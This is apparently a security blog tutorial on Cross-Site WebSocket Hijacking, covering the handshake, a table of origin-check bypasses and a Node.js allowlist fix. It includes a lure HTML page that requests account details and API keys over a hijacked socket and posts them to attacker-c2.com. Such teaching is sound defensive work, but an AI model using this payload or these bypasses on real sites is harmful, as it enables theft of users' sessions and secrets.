Originally published on Andrax Pentester
Hands-On Tutorial: Auditing & Exploiting Cross-Site WebSocket Hijacking (CSWSH) in 2026
Author: Syed Zada Abrar | Lead Researcher, Andrax Pentester & Founder, SentinelReign
Category: Web & API Security / Offensive Engineering
Executive Summary & Step-0 Mental Model
Unlike traditional HTTP REST endpoints governed by the browser's Same-Origin Policy (SOP), the WebSocket protocol (RFC 6455) was explicitly designed to enable bi-directional, full-duplex communication across domain boundaries. While standard cross-origin HTTP requests (e.g., fetch or XMLHttpRequest) are restricted by CORS (Cross-Origin Resource Sharing) policies, WebSockets bypass standard CORS enforcement entirely.
When a browser initiates a WebSocket connection, it starts with a standard HTTP/1.1 or HTTP/2 GET request containing an Upgrade: websocket header. If the victim is authenticated via ambient credentials (such as Cookie session headers or HTTP Basic/NTLM auth), the browser automatically attaches these credentials to the initial handshake—even if the request originates from an untrusted third-party website (https://attacker.com).
If the server fails to rigorously validate the Origin header or enforce CSRF tokens during the handshake, an attacker can hijack the full-duplex channel. This attack vector is known as Cross-Site WebSocket Hijacking (CSWSH).
Technical Anatomy of the WebSocket Handshake
To audit WebSockets effectively, you must understand the exact HTTP upgrade frame sequence.
1. The Vulnerable Handshake Request
GET /api/v1/live-feed HTTP/1.1
Host: api.target-system.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Cookie: session_id=e9a18f4c-22b0-4f9a-9e12-89201fba4101
Origin: https://attacker.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade
Upgrade: websocket
2. The Vulnerable Handshake Response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
2026 Exploitation Vectors & Origin Bypasses
Vector 1: Complete Absence of Origin Header Checking
Many real-world single-page applications (SPAs) and internal developer microservices (e.g., local AI model runners, debugging dashboards like Mailpit, or internal management portals) verify authentication tokens but omit Origin checking entirely. Any website can open a socket directly to ws://localhost:8080/ws or wss://app.enterprise.com/stream.
Vector 2: Regexp & String Matching Flaws
| Flawed Validation Logic | Bypass Origin Header |
Exploit Mechanism |
|---|---|---|
origin.indexOf("target.com") !== -1 |
https://target.com.attacker.com |
Prefix match / Subdomain spoofing |
origin.endsWith("target.com") |
https://attacker-target.com |
Hostname suffix registration |
origin.startsWith("https://target.com") |
https://target.com.attacker.com |
Trailing slash omission bypass |
if (!origin) allow() |
Origin: null |
Sandboxed iframe (<iframe sandbox="allow-scripts">) |
Weaponized Exploit Proof of Concept (PoC)
Below is a production-grade HTML/JS exploit payload that stealthily opens a cross-origin WebSocket connection to exfiltrate live frames:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Secured Document Portal - Verification Required</title>
</head>
<body>
<script>
const TARGET_WS_URL = "wss://target-system.com/api/v1/live-feed";
const EXFIL_ENDPOINT = "https://attacker-c2.com/log";
const ws = new WebSocket(TARGET_WS_URL);
ws.onopen = function() {
ws.send(JSON.stringify({ action: "FETCH_ACCOUNT_DETAILS", include_api_keys: true }));
};
ws.onmessage = function(event) {
fetch(EXFIL_ENDPOINT, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ stolen_data: event.data })
});
};
</script>
</body>
</html>
Secure Architecture: Node.js & Go Whitelisting
Node.js Strict Origin Check
const ALLOWED_ORIGINS = new Set(['https://target-system.com']);
server.on('upgrade', (request, socket, head) => {
const origin = request.headers.origin;
if (!origin || !ALLOWED_ORIGINS.has(origin)) {
socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
socket.destroy();
return;
}
wss.handleUpgrade(request, socket, head, (ws) => {
wss.emit('connection', ws, request);
});
});
For full deep-dive implementation details, Python scanner tools, and KQL SIEM detection rules, read the complete masterclass on Andrax Pentester.
Top comments (0)